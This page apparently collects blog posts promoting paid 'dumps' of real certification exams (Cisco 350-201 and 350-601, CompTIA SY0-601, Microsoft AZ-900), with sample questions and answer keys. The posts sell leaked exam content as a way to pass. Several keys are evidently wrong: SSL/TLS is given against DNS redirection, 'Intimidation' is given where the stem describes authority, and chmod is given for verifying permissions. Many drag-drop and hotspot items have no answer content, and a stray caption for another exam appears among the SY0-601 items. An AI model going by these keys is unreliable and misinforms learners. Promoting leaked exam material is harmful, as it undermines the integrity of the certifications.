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Stay Ahead Of The Game: Unleash Your Potential With The New 350-201 Dumps

April 17, 2024April 17, 2024 softkeysd

new 350-201 dumps unlock your potential and solve the Performing CyberOps Using Cisco Security Technologies (CBRCOR) exam challenges.

Get the new 350-201 dumps new exam questions 139+ (pdf+VCE) Updated Apr 2024 https://www.pass4itsure.com/350-201.html Unlock the exam with ease.

How to study for the 350-201 exam

The Cisco 350-201 exam requires you to understand network security operations fundamentals, methods, and automation. Completing this exam will prepare you for the role of Information Security Analyst on the Security Operations Center (SOC) team.

You can follow the steps below to study for the 350-201 exam:

Step 1: Make a plan
Step 2: Download the full exam objectives. Understand the full topic.
Step 3: Get the right study materials
Step 4: Prepare for the exam

Introduction to the 350-201 exam

As professionals in any field, we understand the importance of continuous learning and staying ahead in our careers. One way to do this is by obtaining certifications that validate our expertise. The 350-201 exam is one such certification that can significantly boost your career prospects. In this article, we will explore how the new 350-201 dumps can help you unleash your potential and excel in this highly competitive industry.

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Share some new 350-201 dumps exam questions(free) updated Apr, 2024:

The information is summarized below:

From: Pass4itSure
The number of questions: 16/139
More…Cisco exam questions

Question 16:

Refer to the exhibit. At which stage of the threat kill chain is an attacker, based on these URIs of inbound web requests from known malicious Internet scanners?

A. exploitation

B. actions on objectives

C. delivery

D. reconnaissance

Correct Answer: C

Reference: https://www2.deloitte.com/content/dam/Deloitte/sg/Documents/risk/sea-risk-cyber-101-july2017.pdf

Question 17:

Employees receive an email from an executive within the organization that summarizes a recent security breach and requests that employees verify their credentials through a provided link. Several employees report the email as suspicious, and a security analyst is investigating the reports. Which two steps should the analyst take to begin this investigation? (Choose two.)

A. Evaluate the intrusion detection system alerts to determine the threat source and attack surface.

B. Communicate with employees to determine who opened the link and isolate the affected assets.

C. Examine the firewall and HIPS configuration to identify the exploited vulnerabilities and apply recommended mitigation.

D. Review the mail server and proxy logs to identify the impact of a potential breach.

E. Check the email header to identify the sender and analyze the link in an isolated environment.

Correct Answer: CE

Question 18:

What do 2xx HTTP response codes indicate for REST APIs?

A. additional action must be taken by the client to complete the request

B. the server takes responsibility for error status codes

C. communication of transfer protocol-level information

D. successful acceptance of the client\’s request

Correct Answer: D

Reference: https://restfulapi.net/http-status-codes/#:~:text=HTTP%20defines%20these%20standard%20status,results%20of%20a%20client%27s%20request.andtext=2xx%3A%20Success%20?20Indicates%20that%20the,order%20to% 20complete%20their%20request.

Question 19:

Refer to the exhibit. For IP 192.168.1.209, what are the risk level, activity, and next step?

A. high-risk level, anomalous periodic communication, quarantine with antivirus

B. critical risk level, malicious server IP, run in a sandboxed environment

C. critical risk level, data exfiltration, isolate the device

D. high-risk level, malicious host, investigate further

Correct Answer: A

Question 20:

DRAG DROP

Drag and drop the phases to evaluate the security posture of an asset from the left onto the activity that happens during the phases on the right.

Select and Place:

Correct Answer:

Question 21:

An analyst wants to upload an infected file containing sensitive information to a hybrid analysis sandbox. According to the NIST.SP 800-150 guide to cyber threat information sharing, what is the analyst required to do before uploading the file to safeguard privacy?

A. Verify hash integrity.

B. Remove all personally identifiable information.

C. Ensure the online sandbox is GDPR compliant.

D. Lock the file to prevent unauthorized access.

Correct Answer: B

Question 22:

DRAG DROP

Drag and drop the actions below the image onto the boxes in the image for the actions that should be taken during this playbook step. Not all options are used.

Select and Place:

Correct Answer:

Question 23:

How does Wireshark decrypt TLS network traffic?

A. with a key log file using per-session secrets

B. using an RSA public key

C. by observing DH key exchange

D. by defining a user-specified decode-as

Correct Answer: A

Reference: https://wiki.wireshark.org/TLS

Question 24:

What is the difference between process orchestration and automation?

A. Orchestration combines a set of automated tools, while automation is focused on the tools to automate process flows.

B. Orchestration arranges the tasks, while automation arranges processes.

C. Orchestration minimizes redundancies, while automation decreases the time to recover from redundancies.

D. Automation optimizes the individual tasks to execute the process, while orchestration optimizes frequent and repeatable processes.

Correct Answer: A

Question 25:

What is the benefit of key risk indicators?

A. clear perspective into the risk position of an organization

B. improved visibility on quantifiable information

C. improved mitigation techniques for unknown threats

D. clear procedures and processes for organizational risk

Correct Answer: C

Reference: https://www.metricstream.com/insights/Key-Risk-indicators-ERM.htm#:~:text=Risk%20Management%20(ERM)-,Overview,and%20mitigate%20them%20in%20time.

Question 26:

DRAG DROP

Drag and drop the components from the left onto the phases of the CI/CD pipeline on the right.

Select and Place:

Correct Answer:

Question 27:

An organization had several attacks over the last 6 months and has tasked an engineer with looking for patterns or trends that will help the organization anticipate future attacks and mitigate them. Which data analytic technique should the engineer use to accomplish this task?

A. diagnostic

B. qualitative

C. predictive

D. statistical

Correct Answer: C

Reference: https://insights.principa.co.za/4-types-of-data-analytics-descriptive-diagnostic-predictive-prescriptive

Question 28:

A new malware variant is discovered hidden in pirated software that is distributed on the Internet. Executives have asked for an organizational risk assessment. The security officer is given a list of all assets. According to NIST, which two elements are missing to calculate the risk assessment? (Choose two.)

A. incident response playbooks

B. asset vulnerability assessment

C. report of staff members with asset relations

D. key assets and executives

E. malware analysis report

Correct Answer: BE

Reference: https://cloudogre.com/risk-assessment/

Question 29:

DRAG DROP

Drag and drop the mitigation steps from the left onto the vulnerabilities they mitigate on the right.

Select and Place:

Correct Answer:

Question 30:

DRAG DROP

Drag and drop the threat from the left onto the scenario that introduces the threat on the right. Not all options are used.

Select and Place:

Correct Answer:

last update： 350-201 dumps exam questions q1-q15

Conclusion

The new 350-201 dumps are a valuable resource for anyone looking to enhance their knowledge and skills in the field of networking. By choosing the right provider and following effective study strategies, you can unleash your potential and stay ahead of the game. Remember to practice regularly, seek clarification when needed, and stay motivated throughout your exam preparation journey. With the new 350-201 dumps by your side, you can confidently take the exam and pave the way for a successful career in the networking industry.

Start your journey to success with the new 350-201 dumps https://www.pass4itsure.com/350-201.html Updated Apr 2024 (pdf+vce) today and unlock your full potential!

350-601 Dumps (2024) Update Makes Your Exam Journey Smoother And More Efficient

April 16, 2024April 16, 2024 softkeysd

It turns out that our updated 350-601 dumps (2024) will make your 350-601 DCCOR exam journey smoother and more efficient.

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Mastering the core technologies of implementing and operating Cisco data centers will set you apart in the workplace. 350-601 dumps help the exam and provide you with new 350-601 exam questions for you to study.

Cisco 350-601 exam in 2024

The Cisco 350-601 exam is a certification exam for implementing and operating Cisco Data Center Core Technologies (DCCOR). Its main objective is to assess the candidate’s skills and knowledge in the field of data centers, particularly about applications and practices in networking, computing, storage networking, automation, and security.

As you prepare for the 350-601 exam in 2024, you should focus on the following key points:

Network configuration and management
Virtual Storage Area Network (VSAN)
Automation & Security
Cloud Computing & Virtualization
Troubleshooting and performance optimization

And don’t forget, practice with real cases.

Free share 350-601 dumps practice questions 1-15 (2024)

From: Pass4itSure

Related certifications: Cisco CCNP Cisco CCIE

Question 1:

An engineer must remove the running configuration of a Cisco Nexus 9000 Series Switch and replace it with a backup file without restarting the switch. The backup file is stored on an SFTP server that is reachable via the An engineer must remove the running configuration mgmt0 interface.

Which set of commands accomplishes this task?

A. Option A

B. Option B

C. Option C

D. Option D

Correct Answer: C

Question 2:

DRAG DROP

An engineer must configure Cisco UCS Manager to accept only HTTPS connections that use TLS 1 2 The cipher security level must be high and the length of the keyring key value must be 2048 bits.

Drag and drop the code snippets from the right onto the blanks in the code on the left to accomplish these goals. Not all commands are used.

Select and Place:

Correct Answer:

Question 3:

An engineer installed a new Nexus switch with the mgm0 interface in vrf management. Connectivity to the rest of the network needs to be tested from the guest shell of the NX-OS. Which command tests connectivity from the guest shell of the NX-OS?

A. [guestshell@guestshell ~]$ dohost \’\’ping vrf management 173.37.145.84\’\’

B. [guestshell@guestshell ~]$ chvrf management ping 173.37.145.84

C. [guestshell@guestshell ~$ ping 173.37.145.84 vrf management

D. [guestshell@guestshell ~]$ ping vrf management ip 173.37.145.84

Correct Answer: B

Reference: https://www.cisco.com/c/en/us/td/docs/switches/datacenter/nexus9000/sw/7-x/programmability/guide/b_Cisco_Nexus_9000_Series_NX-OS_Programmability_Guide_7x/Guest_Shell.html

Question 4:

An engineer performs a Firmware Auto Install upgrade through the Cisco UCS Manager. Which two Cisco UCS components are upgraded in the Install Server Firmware stage? (Choose two)

A. Cisco UCS C-Series Rack-Mount Server

B. I/O Modules

C. Cisco UCS Manager

D. Cisco UCS B-Series Blade Server

E. Fabric Interconnects

Correct Answer: BE

Question 5:

Which two actions are needed to configure a single Cisco APIC controller for the Cisco ACI fabric for the first time? (Choose two.)

A. Register the APIC that is connected to the switch.

B. Configure the first Cisco APIC controller

C. Configure the leaf switch where the Cisco APIC is connected, using CLI to allow APIC connectivity

D. Register the switches that are discovered through LLDP.

E. Register all leaf and spine switches

Correct Answer: AE

Question 6:

Refer to the exhibit.

What happens to the broadcast traffic when it reaches aggregation switches?

A. Agg-2 switch receives broadcast packets and stops forwarding to the peer link on the Agg-1 switch.

B. Agg-1 switch prevents broadcast packets received on the vPC peer link from exiting the switch on ports Eth2/4 and Eth2/5.

C. Agg-1 and Agg-2 switches receive broadcast packets and do not forward them to the peer link or the port channel.

D. Only the Agg-1 switch receives broadcast packets and does not forward them to the peer link on the Agg-2 switch.

Correct Answer: B

Duplicate Frames Prevention in vPC One of the most important forwarding rules for vPC is that a frame that enters the vPC peer switch from the peer link cannot exit the switch from a vPC member port. Figure shows switches 3 and 4 connected to 5k01 and 5k02 with vPCs Po51 and Po52. If one of the hosts connected to switch 4 sends either an unknown unicast or a broadcast, this traffic may get hashed to port eth2/2 on PortChannel 52. 5k02 receives the broadcast and needs to forward it to the peer link for the potential orphan ports on 5k01 to receive it.

Upon receiving the broadcast, 5k01 detects that this frame is coming from the vPC peer link. Therefore, it does not forward it to port 2/9 or 2/10; if it did, a duplicate frame on switch 3 or 4, respectively, would be created. If a host on switch 4 sends a broadcast, 5k02 will correctly forward it to Po51 on port 2/9 and place it on the peer link.

5k01 will prevent this broadcast frame from exiting onto port 2/9 or 2/10 because this frame entered 5k01 from a vPC peer link. Should eth2/2 on switch 3 go down, port 2/9 on 5k01 would become an orphan port and as a result will receive traffic that traverses the peer link.

Question 7:

Which configuration implements static ingress replication?

A. Interface nve 1 member vni 3719035 ingress-replication protocol static peer-ip 10.0.0.4

B. Interface nve 1 member vni 3719035 ingress-replication protocol bgp

C. Interface nve 1 member vai 3719035 peer step 10.0.0.4

D. Interface nve 1 member vni 3719035 peer step 10.0.0.4 ingress-replication protocol static peer-ip 10.0.0.4

Correct Answer: A

“Configuring Static Ingress Replication” section here: https://www.cisco.com/c/en/us/td/docs/switches/datacenter/nexus9000/sw/7-x/vxlan/configuration/guide/b_Cisco_Nexus_9000_Series_NX-OS_VXLAN_Configuration_Guide_7x/b_Cisco_Nexus_9000_Series_NXOS_VXLAN_Configuration_Guide_7x_chapter_011.html

Question 8:

Refer to the exhibit.

All switches are configured with the default OSPF priority. Which configuration should be applied to ensure that the SW2 Cisco Nexus switch controls the LSA floods and advertises the network to the remaining nodes in the OSPFv2 area?

A. SW2# configure terminal SW2 (config)# interface ethernet 1/1 SW2 (config-if)# ip ospf priority 255

B. SW2# configure terminal SW2 (config)# interface ethernet 1/1 SW2 (config-if)# ip ospf priority 1

C. SW2# configure terminal SW2 (config)# router ospf 1 SW2 (config-router)# router-id 10.10.10.22

D. SW2# configure terminal SW2 (config)# interface ethernet 1/1 SW2 (config-if)# ip ospf priority 0

Correct Answer: A

Priority in OSPF is mainly used to influence/determine a designated router/backup designated router for a network. By default, the priority is 1 on all routers. A router with a high priority will always win the DR/BDR election process.

Question 9:

An engineer is implementing NPV mode on a Cisco MDS 9000 Series Switch. Which action must be taken?

A. The FCNS database must be disabled in the fabric.

B. A port channel must be configured to the upstream switch.

C. All switches in the fabric must be Cisco MDS switches.

D. NPIV must be enabled on the upstream switch.

Correct Answer: D

https://www.cisco.com/c/en/us/td/docs/switches/datacenter/mds9000/sw/5_0/configuration/guides/int/nxos/cli_interfaces/npv.html

Question 10:

Which storage solution operates at the file level and contains its native lightweight operating system on simplified hardware?

A. NAS

B. SAN

C. unfield fabric

D. standard file server

Correct Answer: A

Question 11:

Refer to the exhibit.

Why does the Python code for Cisco NX-API print an error message?

A. The “type” is wrong in the header of the request and should be “cli_ conf”.

B. NX-API does not allow configuration for features via the requests module.

C. The “type” is wrong in the body of the request and should be “cli_ conf”.

D. The JSON is not a supported format for the NX-API.

Correct Answer: C

Question 12:

Refer to the exhibit.

An engineer needs to implement a monitoring session that should meet the following requirements:

Monitor traffic from leaf-to-leaf switches on a Cisco ACI network

Support filtering traffic from Bridge Domain or VRF Which configuration must be added to meet these requirements?

A. interface eth 1/2 switch 101

B. interface eth 1/2 leaf 101

C. application app1 epg epg1

D. application epg epg1 app1

Correct Answer: C

Reference: https://www.cisco.com/c/en/us/td/docs/switches/datacenter/aci/apic/sw/1-x/troubleshooting/b_APIC_Troubleshooting/b_APIC_Troubleshooting_chapter_0110.html

Question 13:

DRAG DROP

An engineer is implementing NetFlow on a Cisco Nexus 7000 Series Switch.

Drag and drop the NetFlow commands from the left into the correct order they must be entered on the right.

Select and Place:

Correct Answer:

Reference: https://www.cisco.com/c/en/us/support/docs/switches/nexus-7000-series-switches/112213-netflow-nexus7000-nsox-configex.html

Question 14:

A customer data center is configured for the distribution of user roles, call home, and NTP. The data center was split into two geographically separate locations called DC1 and DC2. The requirement is for the user role configurations to be distributed in DC1 and for NTP and call-home features to be constrained to DC2.

Which two configuration sets must be used to meet these requirements? (Choose two.)

A. Option A

B. Option B

C. Option C

D. Option D

E. Option E

Correct Answer: BD

Question 15:

An engineer configures a storage environment for a customer with high-security standards. The secure environment is configured in van 50. The customer wants to maintain a configuration and active databases and prevent unauthorized switches from joining the fabric. Additionally, the switches must prevent rogue devices from connecting to their ports by automatically learning the WWPNs of the ports connected to them for the first time. Which two configuration sets must be used to meet these requirements? (Chose two.)

A. Option A

B. Option B

C. Option C

D. Option D

E. Option E

Correct Answer: AC

To this end, the 350-601 exam study materials are collected below:

Have Video Modes You Love:

There are also patterns of books you love:

And the document mode you love:

Rest assured, all of them come with links for you to check out. All for your exams, go well.

Maybe you still have doubts about the exam 350-601 DCCOR

What is Exam 350-601 DCCOR?

The 350-601 DCCOR aka Implementing and Operating Cisco Data Center Core Technologies, the exam is 120 minutes long, has 90-110 questions, and the passing score is variable (750-850/1000). CCNP Data Center, CCIE Data Center, and The Cisco Certified Specialist – Data Center Core certifications are all related to the exam.

What kind of material is best for quick preparation for the 350-601 DCCOR exam?

That must be Pass4itSure’s updated 350-601 dumps (2024).

In 2024, how can I pass the 350-601 exam?

This should be done:
Check out the official exam content provided by Cisco to learn about exam topics. Collect effective learning resources, make good use of 350-601 Dumps (2024), and conduct multiple simulation exercises. Remember, the key to success is a combination of thorough preparation, practical experience, and a strategic approach to the exam.

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Latest sy0-601 dumps: 1093 latest CompTIA Security+ exam questions and answers

July 4, 2023July 4, 2023 softkeysd

The latest sy0-601 dumps are the best material for the CompTIA Security+ certification exam! 1093 latest exam questions and answers that fully cover the CompTIA Security+ topic exam and are reviewed by a team of CompTIA certification experts the correction has been verified in real scenarios, and it is real and effective! Candidates can use the Latest sy0-601 dumps with PDF and VCE: https://www.leads4pass.com/sy0-601.html to help you practice easily and guarantee 100% success in passing the exam.

Important! Share some of the latest sy0-601 dumps exam questions online practice for free

From	Number of exam questions	Associated certification	Online Download
Pass4itsure	15	CompTIA Security+	SY0-601 PDF

QUESTION 1:

After gaining access to a dual-homed (i.e.. wired and wireless) multifunction device by exploiting a vulnerability in the device\’s firmware, a penetration tester then gains shell access on another networked asset This technique is an example of:

A. privilege escalation

B. footprinting

C. persistence

D. pivoting.

Correct Answer: D

Pivoting -> The act of an attacker moving from one compromised system to one or more other systems on the network

QUESTION 2:

After entering a username and password, an administrator must draw a gesture on a touch screen. Which of the following demonstrates what the administrator is providing?

A. Multifactor authentication

B. Something you can do

C. Biometric

D. Two-factor authentication

Correct Answer: B

QUESTION 3:

A global pandemic is forcing a private organization to close some business units and reduce staffing at others.

Which of the following would be BEST to help the organization\’s executives determine the next course of action?

A. An incident response plan

B. A communications plan

C. A disaster recovery plan

D. A business continuity plan

Correct Answer: D

QUESTION 4:

Ann, a customer, received a notification from her mortgage company stating her PII may be shared with partners, affiliates, and associates to maintain day-to-day business operations. Which of the following documents did Ann receive?

A. An annual privacy notice

B. A non-disclosure agreement

C. A privileged-user agreement

D. A memorandum of understanding

Correct Answer: A

From CompTIA’s official textbook:

“A privacy notice is typically an externally-facing document informing customers, users, or stakeholders about what the organization does with PII. It\’s also called a privacy statement.”

QUESTION 5:

After a recent security incident, a security analyst discovered that unnecessary ports were open on a firewall policy for a web server. Which of the following firewall policies would be MOST secure for a web server?

A. Option A

B. Option B

C. Option C

D. Option D

Correct Answer: D

QUESTION 6:

As part of a security compliance assessment, an auditor performs automated vulnerability scans. In addition, which of the following should the auditor do to complete the assessment?

A. User behavior analysis

B. Packet captures

C. Configuration reviews

D. Log analysis

Correct Answer: D

A vulnerability scanner is essentially doing that. It scans every part of your network configuration that it can and determines if known vulnerabilities are known at any point of that.

QUESTION 7:

A security analyst is configuring a large number of new company-issued laptops. The analyst received the following requirements:

1.
The devices will be used internationally by staff who travel extensively.
2.
Occasional personal use is acceptable due to the travel requirements.
3.
Users must be able to install and configure sanctioned programs and productivity suites.
4.
The devices must be encrypted
5.
The devices must be capable of operating in low-bandwidth environments.

Which of the following would provide the GREATEST benefit to the security posture of the devices?

A. Configuring an always-on VPN

B. Implementing application whitelisting

C. Requiring web traffic to pass through the on-premises content filter

D. Setting the antivirus DAT update schedule to weekly

Correct Answer: A

1-hackers spying on network traffic

2-they can still install stuff. app listing would only allow stuff IT OK\’d. Do you want to tell IT all your personal apps?

3-Sure can

4-network traffic is encrypted. These better have minimum TPM and antimalware on them.

5-Always on VPN is faster than a regular VPN – our company has been using it for years.

QUESTION 8:

A company recently experienced an attack during which the #5 main website was directed to the attacker \’s web server, allowing the attacker to harvest credentials from unsuspecting customers.

Which of the following should the company Implement to prevent this type of attack from occurring in the future?

A. IPSec

B. SSL/TLS

C. DNSSEC

D. S/MIME

Correct Answer: B

QUESTION 9:

In a phishing attack, the perpetrator is pretending to be someone in a position of power in an effort to influence the target to click or follow the desired response. Which of the following principles is being used?

A. Authority

B. Intimidation

C. Consensus

D. Scarcity

Correct Answer: B

Whaling is highly tailored to their audiences and often includes the victim\’s name, job title, and basic details that make the communications look legitimate.

QUESTION 10:

A network administrator needs to build out a new data center, with a focus on resiliency and uptime. Which of the following would BEST meet this objective? (Choose two.)

A. Dual power supply

B. Off-site backups

C. Automatic OS upgrades

D. NIC teaming

E. Scheduled penetration testing

F. Network-attached storage

Correct Answer: AB

Dual PS keeps the servers up / a DRS will conform to the question of resiliency: Site Resiliency Resiliency of a site should include consideration of sites used to continue operations. Site resiliency considerations can be connected to the idea of restoration sites and their availability.

Related to the location of backup storage is where the restoration services will be located. If the organization has suffered physical damage to its facility, having offsite data storage is only part of
the solution.

This data will need to be processed somewhere, which means that computing facilities similar to those used in normal operations are required. These sites are referred to as recovery sites. The recovery problem can be approached in a number of ways, including hot sites, warm sites, and cold sites.

https://searchdatacenter.techtarget.com/definition/resiliency

QUESTION 11:

A RAT that was used to compromise an organization\’s banking credentials were found on a user\’s computer.

The RAT evaded antivirus detection. It was installed by a user who has local administrator rights to the system as part of a remote management toolset.

Which of the following recommendations would BEST prevent this from reoccurring?

A. Create a new acceptable use policy.

B. Segment the network into trusted and untrusted zones.

C. Enforce application whitelisting.

D. Implement DLP at the network boundary

Correct Answer: C

Having a list of allowed apps decreases the risk of an unwanted application with malware being installed.

QUESTION 12:

The following are the logs of a successful attack.

Latest CCNP Enterprise 300-410 dumps exam questions 12

Which of the following controls would be BEST to use to prevent such a breach in the future?

A. Password history

B. Account expiration

C. Password complexity

D. Account lockout

Correct Answer: D

Reference: https://www.computerhope.com/jargon/a/accolock.htm#:~:text=Account%20lockout%20keeps%20the%20account,log%20into%20your%20account%20again

QUESTION 13:

A security analyst is investigating a vulnerability in which a default file permission was set incorrectly. The company uses non-credentialed scanning for vulnerability management.

Which of the following tools can the analyst use to verify the permissions?

A. ssh

B. chmod

C. ls

D. setuid

E. nessus

F. nc

Correct Answer: B

chmod is used to set permissions for the file.

If you use: ls -l

…

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How to successfully pass the Microsoft AZ-900 exam in 2023

May 6, 2023May 6, 2023 softkeysd

What do you think is the hardest part of the Microsoft Azure Fundamentals exam? The difficulty is how to successfully pass the AZ-900 exam. You can find the new Microsoft Azure Fundamentals certification path to success here.

Using the latest version of the AZ-900 dumps can help you pass the Microsoft AZ-900 exam without a hitch. It just so happens that Pass4itSure has launched the AZ-900 dumps 2023 version, which you can download at https://www.pass4itsure.com/az-900.html the new PDF+VCE practice question 606+.

To be successful in the AZ-900 exam, you must understand the exam

The AZ-900 exam is the Microsoft Azure Fundamentals certification exam.

The core concepts and basic working principles of Azure cloud services
Compute resources, storage resources, network resources, and database services in Azure
Design and deployment of Azure solutions
Azure security, privacy, and compliance
Azure pricing and support services

You need to have this knowledge and understand the concepts and terminology related to Azure infrastructure and solutions.

The complexity of the exam means that you must have the support of AZ-900 dumps.

Tips for choosing the ideal AZ-900 dumps of learning material

The study found that the latest AZ-900 dumps were critical to passing the exam.

The dumps offered by Pass4itSure are appropriately priced, varied, and new enough to be the right thing.

Well, the AZ-900 dump is the first step, and then you need to go through a lot of practice to successfully pass the AZ-900 exam.

Where to find AZ-900 practice tests in 2023?

I wonder if there is a free practice test for the AZ-900 test. I want to practice it in the next step and familiarize myself with it in advance. Is this your voice? Don’t worry, Pass4itSure understands you and provides you with free online practice questions from the latest AZ-900 dumps that you can participate in.

Take the Microsoft AZ-900 actual exam questions exercise:

Question 1:

This question requires that you evaluate the underlined text to determine if it is correct.

Azure Databricks is an Apache Spark-based analytics service.

Instructions: Review the underlined text. If it makes the statement correct, select “No change is needed.” If the statement is incorrect, select the answer choice that makes the statement correct.

A. No change is needed.

B. Azure Data Factory

C. Azure DevOps

D. Azure HDInsight

Correct Answer: A

Azure Databricks is an Apache Spark-based analytics platform. The platform consists of several components including `MLib\’. Mlib is a Machine Learning library consisting of common learning algorithms and utilities, including classification,

regression, clustering, collaborative filtering, dimensionality reduction, as well as underlying optimization primitives.

References:

https://docs.microsoft.com/en-us/azure/azure-databricks/what-is-azure-databricks#apache-spark-based- analytics-platform

Question 2:

You have an Azure Active Directory (Azure AD) tenant that syncs with an on-premises Active Directory domain.

You have an internal web app named WebApp1 that is hosted on-premises. WebApp1 uses Integrated Windows authentication.

Some users work remotely and do NOT have VPN access to the on-premises network.

You need to provide the remote users with single sign-on (SSO) access to WebApp1.

Which two features should you include in the solution? Each correct answer presents part of the solution. NOTE: Each correct selection is worth one point.

A. Azure AD Application Proxy

B. Azure AD Privileged Identity Management (PIM)

C. Conditional Access policies

D. Azure Arc

E. Azure AD enterprise applications

F. Azure Application Gateway

Correct Answer: AC

A: Application Proxy is a feature of Azure AD that enables users to access on-premises web applications from a remote client. Application Proxy includes both the Application Proxy service which runs in the cloud and the Application Proxy connector which runs on an on-premises server.

You can configure a single sign-on to an Application Proxy application.

C: Microsoft recommends using Application Proxy with pre-authentication and Conditional Access policies for remote access from the internet. An approach to providing Conditional Access for intranet use is to modernize applications so they can directly authenticate with AAD.

Reference: https://docs.microsoft.com/en-us/azure/active-directory/app-proxy/application-proxy-config-sso-how-to https://docs.microsoft.com/en-us/azure/active-directory/app-proxy/application-proxy-deployment-plan

Question 3:

HOTSPOT

Select the answer that correctly completes the sentence.

Hot Area:

Correct Answer:

Question 4:

HOTSPOT

Select the answer that correctly completes the sentence.

Hot Area:

Correct Answer:

Question 5:

DRAG DROP

You have a hybrid environment that includes Microsoft Azure AD. On-premises applications use Active Directory Domain Services (AD DS) for authentication.

You need to determine which authentication methods to use.

Match each feature to its authentication source. To answer, drag the appropriate authentication sources from the column on the left to the features on the right.

Each authentication source may be used once, more than once, or not at all.

NOTE: Each correct selection is worth one point.

Select and Place:

Correct Answer:

Reference: https://docs.microsoft.com/en-us/windows/security/identity-protection/hello-for-business/hello-identity-verification

Question 6:

Match the term to the correct definition.

Instructions: To answer, drag the appropriate term from the column on the left to its description on the right. Each term may be used once, more than once, or not at all.

NOTE: Each correct match is worth one point.

Select and Place:

Correct Answer:

Box 1: ISO

ISO is the International Organization for Standardization. Companies can be certified to ISO standards, for example, ISO 9001 or 27001 are commonly used in IT companies.

Box 2: NIST

The National Institute of Standards and Technology (NIST) is a physical sciences laboratory and a non-regulatory agency of the United States Department of Commerce.

Box 3: GDPR

GDPR is the General Data Protection Regulation. This standard was adopted across Europe in May 2018 and replaces the now deprecated Data Protection Directive.

The General Data Protection Regulation (EU) (GDPR) is a regulation in EU law on data protection and privacy in the European Union (EU) and the European Economic Area (EEA). It also addresses the transfer of personal data outside the

EU and EEA areas. The GDPR aims primarily to give control to individuals over their personal data and to simplify the regulatory environment for international business by unifying the regulation within the EU.

Box 4: Azure Government

US government agencies or their partners interested in cloud services that meet government security and compliance requirements can be confident that Microsoft Azure Government provides world-class security, protection, and compliance

services. Azure Government delivers a dedicated cloud enabling government agencies and their partners to transform mission-critical workloads to the cloud. Azure Government services handle data that is subject to certain government regulations and requirements, such as FedRAMP, NIST 800.171 (DIB), ITAR, IRS 1075, DoD L4, and CJIS.

In order to provide you with the highest level of security and compliance, Azure Government uses physically isolated data centers and

networks (located in the U.S. only).

References:

https://en.wikipedia.org/wiki/National_Institute_of_Standards_and_Technology

https://en.wikipedia.org/wiki/General_Data_Protection_Regulation

https://docs.microsoft.com/en-us/azure/azure-government/documentation-government-welcome

Question 7:

HOTSPOT

To complete the sentence, select the appropriate option in the answer area.

Hot Area:

Correct Answer:

Reference: https://docs.microsoft.com/en-us/azure/sentinel/tutorial-respond-threats-playbook

Question 8:

You have a resource group named RG1.

You plan to create virtual networks and app services in RG1.

You need to prevent the creation of virtual machines only in RG1.

What should you use?

A. a lock

B. an Azure role

C. a tag

D. an Azure policy

Correct Answer: D

Azure policies can be used to define requirements for resource properties during deployment and for already existing resources. Azure Policy controls properties such as the types or locations of resources.

Azure Policy is a service in Azure that you use to create, assign, and manage policies. These policies enforce different rules and effects over your resources, so those resources stay compliant with your corporate standards and service level agreements.

In this question, we would create an Azure policy assigned to the resource group that denies the creation of virtual machines in the resource group.

You could place a read-only lock on the resource group. However, that would prevent the creation of any resources in the resource group, not virtual machines only. Therefore, an Azure Policy is a better solution.

References:

https://docs.microsoft.com/en-us/azure/governance/policy/overview

Question 9:

HOTSPOT

For each of the following statements, select Yes if the statement is true. Otherwise, select No.

NOTE: Each correct selection is worth one point.

Hot Area:

Correct Answer:

Box 1: No

Not all Azure regions support availability zones.

Box 2: No

Availability zones can be used with many Azure services, not just VMs.

Box 3: No

Availability Zones are unique physical locations within a single Azure region.

Reference:

https://docs.microsoft.com/en-us/azure/availability-zones/az-region#azure-regions-with-availability-zones

Question 10:

This question requires that you evaluate the underlined text to determine if it is correct.

You plan to deploy 20 virtual machines to an Azure environment. To ensure that a virtual machine named VM1 cannot connect to the other virtual machines, VM1 must be deployed to a separate virtual network.

Instructions: Review the underlined text. If it makes the statement correct, select “No change is needed”. If the statement is incorrect, select the answer choice that makes the statement correct.

A. No change is needed

B. run a different operating system than the other virtual machines

C. be deployed to a separate resource group

D. have two network interfaces

Correct Answer: A

Azure automatically routes traffic between subnets in a virtual network. Therefore, all virtual machines in a virtual network can connect to the other virtual machines in the same virtual network. Even if the virtual machines are on separate subnets within the virtual network, they can still communicate with each other.

To ensure that a virtual machine cannot connect to the other virtual machines, the virtual machine must be deployed to a separate virtual network.

References: https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-udr-overview

Question 11:

HOTSPOT

For each of the following statements, select Yes if the statement is true. Otherwise, select No.

NOTE: Each correct selection is worth one point.

Hot Area:

Correct Answer:

Question 12:

HOTSPOT

For each of the following statements, select Yes if the statement is true. Otherwise, select No. NOTE: Each correct selection is worth one point.

Hot Area:

Correct Answer:

Question 13:

A company uses Microsoft 365.

You need to assign licenses to users.

Which two portals can you use? Each correct answer presents a complete solution.

NOTE: Each correct selection is worth one point.

A. Azure Active Directory admin center

B. Microsoft Compliance Manager

C. Microsoft 365 admin center

D. Security and Compliance Center

Correct Answer: AC

Question 14:

DRAG DROP

Match the Azure service to the correct description.

Instructions: To answer, drag the appropriate Azure service from the column on the left to its description on the right. Each service may be used once, more than once, or not at all.

NOTE: Each correct selection is worth one point.

Select and Place:

Correct Answer:

Box 1:

Azure virtual machines provide operation system virtualization.

Azure Virtual Machines (VM) is one of several types of on-demand, scalable computing resources that Azure offers. Typically, you choose a VM when you need more control over the computing environment than the other choices offer.

Box 2:

Azure Container Instances provide portable environments for virtualized applications.

Containers are becoming the preferred way to package, deploy, and manage cloud applications. Azure Container Instances offers the fastest and simplest way to run a container in Azure, without having to manage any virtual machines and

without having to adopt a higher-level service.

Containers offer significant startup benefits over virtual machines (VMs). Azure Container Instances can start containers in Azure in seconds, without the need to provision and manage VMs.

Box 3:

Azure App Service is used to build, deploy and scale web apps.

Azure App Service is a platform-as-a-service (PaaS) offering that lets you create web and mobile apps for any platform or device and connect to data anywhere, in the cloud or on-premises. App Service includes the web and mobile

capabilities that were previously delivered separately as Azure Websites and Azure Mobile Services.

Box 4:

Azure Functions provide a platform for serverless code.

Azure Functions is a serverless compute service that lets you run event-triggered code without having to explicitly provision or manage infrastructure.

References:

https://docs.microsoft.com/en-us/azure/virtual-machines/windows/overview

https://docs.microsoft.com/en-us/azure/security/fundamentals/paas-applications-using-app-services https://docs.microsoft.com/en-us/azure/azure-functions/ https://docs.microsoft.com/en-us/azure/container-instances/container-instances-overview

Question 15:

HOTSPOT

To complete the sentence, select the appropriate option in the answer area.

Hot Area:

Correct Answer:

To ensure that a virtual machine cannot connect to the other virtual machines, the virtual machine must be deployed to a separate virtual network.

